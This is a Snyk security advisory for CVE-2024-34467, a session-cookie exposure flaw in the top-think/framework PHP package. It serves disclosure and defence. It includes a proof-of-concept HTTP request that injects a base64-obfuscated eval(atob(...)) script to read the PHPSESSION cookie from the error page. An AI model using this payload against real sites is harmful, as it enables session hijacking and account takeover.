Exposure of Sensitive Information to an Unauthorized Actor Affecting top-think/framework package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PHP-TOPTHINKFRAMEWORK-6808766
- published5 May 2024
- disclosed4 May 2024
- creditasdf1115qwer
Introduced: 4 May 2024
CVE-2024-34467 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Exposure of Sensitive Information to an Unauthorized Actor in think_exception.tpl when handling crafted URIs in GET requests. An attacker can discover the PHPSESSION cookie by triggering an error message that includes this sensitive information.
PoC
GET /?%3Cscript%3Eeval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))%3C/script%3E=1 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSION=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Connection: close